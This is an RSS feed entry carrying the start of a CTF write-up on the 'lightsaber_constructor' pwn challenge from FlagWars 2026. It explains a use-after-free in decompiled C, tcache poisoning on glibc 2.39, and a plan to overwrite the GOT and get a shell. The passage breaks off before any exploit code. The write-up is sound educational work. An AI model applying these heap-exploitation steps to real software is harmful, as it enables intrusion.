<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
    <channel>
      <title>s3mme</title>
      <link>https://s3mme.com</link>
      <description>technical deep dive into all things cybersecurity</description>
      <generator>Zola</generator>
      <language>en</language>
      <atom:link href="https://s3mme.com/rss.xml" rel="self" type="application/rss+xml"/>
      <lastBuildDate>Wed, 01 Apr 2026 00:00:00 +0000</lastBuildDate>
      <item>
          <title>FlagWars 2026 - Lightsaber Constructor</title>
          <pubDate>Wed, 01 Apr 2026 00:00:00 +0000</pubDate>
          <author>s3mme</author>
          <link>https://s3mme.com/posts/flagwars-2026-lightsaber-constructor/</link>
          <guid>https://s3mme.com/posts/flagwars-2026-lightsaber-constructor/</guid>
          <description xml:base="https://s3mme.com/posts/flagwars-2026-lightsaber-constructor/">&lt;p&gt;Last weekend, I attended Flagwars 2026, an in-person CTF event organized by Laokoon, IBM, and CGI. It had been almost two years since I last played a Jeopardy CTF, so it was great to play again. It was even better because it was an in-person event, and I went with three friends.&lt;&#x2F;p&gt;
&lt;p&gt;During CTFs, I usually take notes on my methodology and try to write an exploit script (at least for pwning). However, this time I wanted to write a complete blog post about one of the pwning challenges to solidify my knowledge, because I had to do a lot of research and ask some of our favorite AI friends for help to capture this flag.&lt;&#x2F;p&gt;
&lt;p&gt;Since I&#x27;ve had great success with this method of knowledge retention in uni, I decided to use the same approach (or rather &lt;a rel=&quot;noopener nofollow&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Learning_by_teaching&quot;&gt;Feynman&#x27;s&lt;&#x2F;a&gt;) to really understand what was going on in the exploit.&lt;&#x2F;p&gt;
&lt;blockquote class=&quot;markdown-alert-note&quot;&gt;
&lt;p&gt;tl;dr: Use-After-Free -&amp;gt; Tcache Poisoning -&amp;gt; GOT Overwrite&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h1 id=&quot;reconnaissance&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#reconnaissance&quot; aria-label=&quot;Anchor link for: reconnaissance&quot;&gt;Reconnaissance&lt;&#x2F;a&gt;&lt;&#x2F;h1&gt;
&lt;p&gt;This was the second pwning challenge in this CTF, called &lt;code&gt;lightsaber_constructor&lt;&#x2F;code&gt;, which was affected by a Use-After-Free vulnerability.&lt;&#x2F;p&gt;
&lt;p&gt;We&#x27;re given &lt;code&gt;lightsaber_constructor&lt;&#x2F;code&gt;, &lt;code&gt;libc.so.6&lt;&#x2F;code&gt;, and &lt;code&gt;ld-linux-x86-64.so.2&lt;&#x2F;code&gt;, where the last two give us information about the libc version the binary runs on, which is &lt;strong&gt;glibc 2.39&lt;&#x2F;strong&gt;:&lt;&#x2F;p&gt;
&lt;blockquote class=&quot;markdown-alert-note&quot;&gt;
&lt;p&gt;We can find out the linker&#x27;s version via:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;.&#x2F;ld-linux-x86-64.so.2&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fc9354;&quot;&gt; --version
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;ld.so&lt;&#x2F;span&gt;&lt;span&gt; (Ubuntu GLIBC 2.39-0ubuntu8.7) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;stable&lt;&#x2F;span&gt;&lt;span&gt; release version 2.39.
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;# [...]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;The &lt;code&gt;lightsaber_constructor&lt;&#x2F;code&gt; binary is a menu-driven ELF64, themed as a lightsaber workshop. A Jedi can &lt;strong&gt;construct&lt;&#x2F;strong&gt;, &lt;strong&gt;destroy&lt;&#x2F;strong&gt;, &lt;strong&gt;inspect&lt;&#x2F;strong&gt;, &lt;strong&gt;modify&lt;&#x2F;strong&gt;, and &lt;strong&gt;ignite&lt;&#x2F;strong&gt; lightsabers. Under the hood, each saber is a heap-allocated object of &lt;code&gt;0x8C&lt;&#x2F;code&gt; (140) bytes.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;C&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-C &quot;&gt;&lt;code class=&quot;language-C&quot; data-lang=&quot;C&quot;&gt;&lt;span&gt;saber &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;int &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;malloc&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0x8c&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(saber &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;== &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;int &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0x0&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;	&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;puts&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;[-] Allocation failed.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;=&amp;gt; &lt;a href=&quot;https:&#x2F;&#x2F;s3mme.com&#x2F;posts&#x2F;flagwars-2026-lightsaber-constructor&#x2F;#construct&quot;&gt;cf. Appendix&lt;&#x2F;a&gt; for the complete function.&lt;&#x2F;p&gt;
&lt;p&gt;When checking out the binary&#x27;s security settings two properties stand out:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; checksec &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;lightsaber_constructor
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;Arch:&lt;&#x2F;span&gt;&lt;span&gt;       amd64-64-little
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;RELRO:&lt;&#x2F;span&gt;&lt;span&gt;      Partial RELRO
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;Stack:&lt;&#x2F;span&gt;&lt;span&gt;      Canary found
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;NX:&lt;&#x2F;span&gt;&lt;span&gt;         NX enabled
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;PIE:&lt;&#x2F;span&gt;&lt;span&gt;        No PIE (0x400000)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;SHSTK:&lt;&#x2F;span&gt;&lt;span&gt;      Enabled
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;IBT:&lt;&#x2F;span&gt;&lt;span&gt;        Enabled
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;Stripped:&lt;&#x2F;span&gt;&lt;span&gt;   No
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Namely:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;No PIE&lt;&#x2F;code&gt;, which allows us to operate on fixed base addresses&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Partial RELRO&lt;&#x2F;code&gt;, which means the &lt;a rel=&quot;noopener nofollow&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Global_Offset_Table&quot;&gt;Global Offset Table&lt;&#x2F;a&gt; (&lt;code&gt;.got.plt&lt;&#x2F;code&gt;) is writable&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;The application manages up to 16 lightsabers stored in a global &lt;code&gt;inventory[]&lt;&#x2F;code&gt; array with a &lt;code&gt;saber_count&lt;&#x2F;code&gt;. Each saber is a &lt;code&gt;malloc(140)&lt;&#x2F;code&gt; chunk laid out as:&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#191919;color:#f8f8f2;&quot;&gt;&lt;code&gt;&lt;span&gt;Offset  Field         Size
&lt;&#x2F;span&gt;&lt;span&gt;0x00    name          128 bytes
&lt;&#x2F;span&gt;&lt;span&gt;0x80    crystal       4 bytes (uint32)
&lt;&#x2F;span&gt;&lt;span&gt;0x84    length        4 bytes (uint32)
&lt;&#x2F;span&gt;&lt;span&gt;0x88    status        4 bytes (0=dormant, 1=ignited)
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The allocator rounds &lt;code&gt;malloc(140)&lt;&#x2F;code&gt; up to a &lt;code&gt;0xA0&lt;&#x2F;code&gt;-byte chunk (140 + 16 bytes of
chunk header = 156, rounded to 160 = &lt;code&gt;0xA0&lt;&#x2F;code&gt; for &lt;a rel=&quot;noopener nofollow&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;elixir.bootlin.com&#x2F;glibc&#x2F;glibc-2.39&#x2F;source&#x2F;malloc&#x2F;malloc.c#L1186&quot;&gt;WORD-alignment&lt;&#x2F;a&gt;).&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;spotting-the-bug&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#spotting-the-bug&quot; aria-label=&quot;Anchor link for: spotting-the-bug&quot;&gt;Spotting the Bug&lt;&#x2F;a&gt;&lt;&#x2F;h1&gt;
&lt;p&gt;The bug is in the &lt;code&gt;destroy()&lt;&#x2F;code&gt; function:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;void &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8cdaff;&quot;&gt;destroy&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;void&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;	&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&#x2F;&#x2F; [...]
&lt;&#x2F;span&gt;&lt;span&gt;	&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;((uVar1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt; saber_count) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;amp;&amp;amp; &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;long &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;)(inventory &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span&gt;(ulong)uVar1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;* &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;!= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;)) {
&lt;&#x2F;span&gt;&lt;span&gt;		&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;free&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;void &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;**&lt;&#x2F;span&gt;&lt;span&gt;)(inventory &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span&gt;(ulong)uVar1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;* &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;));
&lt;&#x2F;span&gt;&lt;span&gt;		&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;puts&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;[+] Destroyed.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;	}
&lt;&#x2F;span&gt;&lt;span&gt;	&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&#x2F;&#x2F; [...]
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The &lt;code&gt;if&lt;&#x2F;code&gt; body frees the chunk via &lt;code&gt;free()&lt;&#x2F;code&gt;, but the pointer is never nulled.
Now, looking at the uses of this pointer inside &lt;code&gt;inspect()&lt;&#x2F;code&gt; and &lt;code&gt;modify()&lt;&#x2F;code&gt;:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&#x2F;&#x2F; inspect
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;((idx &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt; saber_count) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;amp;&amp;amp; &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;long &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;)(inventory &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span&gt;(ulong)idx &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;* &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;!= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;printf&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;Name    : &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;%s\n&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, ptr);  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&#x2F;&#x2F; reads from ptr
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&#x2F;&#x2F; modify
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;((idx &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt; saber_count) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;&amp;amp;&amp;amp; &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fbdfb5;&quot;&gt;long &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;)(inventory &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;+ &lt;&#x2F;span&gt;&lt;span&gt;(ulong)idx &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;* &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;!= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;))
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;read_line&lt;&#x2F;span&gt;&lt;span&gt;(ptr, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#fdb082;&quot;&gt;0x80&lt;&#x2F;span&gt;&lt;span&gt;);            &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&#x2F;&#x2F; writes 128 bytes to ptr (which it reads from stdin)
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&#x2F;&#x2F; see Appendix for `read_line`
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Both check if &lt;code&gt;inventory[idx]&lt;&#x2F;code&gt; is non-zero, which will always be the case because &lt;code&gt;destroy()&lt;&#x2F;code&gt; does not edit the freed memory. This means that our remaining menu options &lt;code&gt;inspect()&lt;&#x2F;code&gt; and &lt;code&gt;modify()&lt;&#x2F;code&gt; can still access and write to these addresses.&lt;&#x2F;p&gt;
&lt;p&gt;This is a &lt;em&gt;Use-after-Free (UaF)&lt;&#x2F;em&gt; vulnerability and gives us two distinct primitives:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Use after Free &lt;strong&gt;Read&lt;&#x2F;strong&gt; via &lt;code&gt;inspect(idx)&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;Use after Free &lt;strong&gt;Write&lt;&#x2F;strong&gt; via &lt;code&gt;modify(idx)&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;The &lt;strong&gt;UaF Read&lt;&#x2F;strong&gt; via &lt;code&gt;inspect(idx)&lt;&#x2F;code&gt; happens because the function calls &lt;code&gt;printf(&quot;%s&quot;, inventory[idx])&lt;&#x2F;code&gt; on the freed chunk. Since &lt;code&gt;printf&lt;&#x2F;code&gt; with &lt;code&gt;%s&lt;&#x2F;code&gt; prints bytes until it hits a null terminator, it leaks whatever the allocator has written.&lt;&#x2F;p&gt;
&lt;p&gt;The UaF &lt;strong&gt;Write&lt;&#x2F;strong&gt; via &lt;code&gt;modify(idx)&lt;&#x2F;code&gt; calls &lt;code&gt;read_line(inventory[idx], 0x80)&lt;&#x2F;code&gt;, which writes up to 128 bytes of data into the freed chunk.
This lets us overwrite the &lt;em&gt;thread local cache&lt;&#x2F;em&gt; (tcache)&#x27;s &lt;em&gt;forward pointer&lt;&#x2F;em&gt; (&lt;code&gt;fd&lt;&#x2F;code&gt;) with an arbitrary value, corrupting the free list maintained by the tcache.&lt;&#x2F;p&gt;
&lt;p&gt;These two primitives allow us to write arbitrary data into arbitrary addresses in our binary.
This brings us to the design of our exploit.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;exploitation-strategy&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#exploitation-strategy&quot; aria-label=&quot;Anchor link for: exploitation-strategy&quot;&gt;Exploitation Strategy&lt;&#x2F;a&gt;&lt;&#x2F;h1&gt;
&lt;p&gt;The Use-after-Free primitives allow us to read&#x2F;write to different regions of memory. Because we need to redirect control flow but lack direct write access to the GOT, we chain together four steps:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Fill up the tcache and use our primitives to leak heap metadata&lt;&#x2F;li&gt;
&lt;li&gt;Use the heap allocator&#x27;s logic to leak a libc address, in order to calculate the libc base address&lt;&#x2F;li&gt;
&lt;li&gt;Use Tcache Poisoning to overwrite the GOT in our binary&lt;&#x2F;li&gt;
&lt;li&gt;Call our modified function to gain a shell&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;excursion-what-is-the-tcache-what-is-tcache-poisoning&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#excursion-what-is-the-tcache-what-is-tcache-poisoning&quot; aria-label=&quot;Anchor link for: excursion-what-is-the-tcache-what-is-tcache-poisoning&quot;&gt;Excursion: What is the tcache? What is tcache poisoning?&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Thread Local Cache (tcache)&lt;&#x2F;em&gt;&lt;&#x2F;strong&gt; is a per-thread cache introduced to speed up allocation and deallocation of small to medium-sized chunks.
It keeps a &lt;strong&gt;singly-linked list&lt;&#x2F;strong&gt; of bins of freed chunks for a set of sizes. &lt;code&gt;fd&lt;&#x2F;code&gt; is the forward pointer inside this list.&lt;&#x2F;p&gt;
&lt;p&gt;When a thread frees a chunk that fits a tcache and the corresponding bin isn&#x27;t full, the chunk is pushed onto that bin’s stack. This avoids messing with the global &lt;code&gt;malloc&lt;&#x2F;code&gt; state, increasing concurrency (by being thread-safe) and therefore speed.&lt;&#x2F;p&gt;
&lt;p&gt;On allocation, malloc first checks the tcache bin for the requested size class; if a chunk is available it pops and returns it immediately, avoiding locks and expensive system calls.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Tcache poisoning&lt;&#x2F;strong&gt; is a technique where we corrupt the &lt;code&gt;fd&lt;&#x2F;code&gt; pointer of a freed tcache chunk to trick the allocator into returning a chunk at an arbitrary address. It works as follows:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Normal state, tcache has freed chunks&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre style=&quot;background-color:#191919;color:#f8f8f2;&quot;&gt;&lt;code&gt;&lt;span&gt;head -&amp;gt; chunk_A -&amp;gt; chunk_B -&amp;gt; NULL
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;Write &lt;code&gt;&amp;amp;TARGET&lt;&#x2F;code&gt; at chunk_A&#x27;s &lt;code&gt;fd&lt;&#x2F;code&gt; pointer (via UaF-write, heap-overflow, ...)&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre style=&quot;background-color:#191919;color:#f8f8f2;&quot;&gt;&lt;code&gt;&lt;span&gt;head -&amp;gt; chunk_A -&amp;gt; TARGET -&amp;gt; ???
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;The next &lt;code&gt;malloc()&lt;&#x2F;code&gt; returns chunk_A&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre style=&quot;background-color:#191919;color:#f8f8f2;&quot;&gt;&lt;code&gt;&lt;span&gt;head -&amp;gt; TARGET -&amp;gt; ???
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;4&quot;&gt;
&lt;li&gt;The next &lt;code&gt;malloc()&lt;&#x2F;code&gt; returns our written target:&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;C&quot; style=&quot;background-color:#191919;color:#f8f8f2;&quot; class=&quot;language-C &quot;&gt;&lt;code class=&quot;language-C&quot; data-lang=&quot;C&quot;&gt;&lt;span&gt;x &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ff5e5e;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6699cc;&quot;&gt;malloc&lt;&#x2F;span&gt;&lt;span&gt;() &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&#x2F;&#x2F; this returns our TARGET address
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#e9fdac;&quot;&gt;write&lt;&#x2F;span&gt;&lt;span&gt;(x, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#fbe3bf;&quot;&gt;payload&lt;&#x2F;span&gt;&lt;span style=&quot;color:#ffffff;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d6d6d;&quot;&gt;&#x2F;&#x2F; writes payload at &amp;amp;TARGET
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;additional-hurdles&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#additional-hurdles&quot; aria-label=&quot;Anchor link for: additional-hurdles&quot;&gt;Additional Hurdles&lt;&#x2F;a&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;Before we can execute this strategy, there are two obstacles to address.&lt;&#x2F;p&gt;
&lt;p&gt;First, we can&#x27;t directly overwrite the GOT via tcache poisoning because the &lt;code&gt;construct&lt;&#x2F;code&gt; function uses &lt;code&gt;memset()&lt;&#x2F;code&gt; to zero out 140 bytes from our address. If we directly pass the GOT address to &lt;code&gt;construct()&lt;&#x2F;code&gt;, we zero out a lot of the GOT, leading to a crash before our payload can be copied to the GOT.&lt;&#x2F;p&gt;
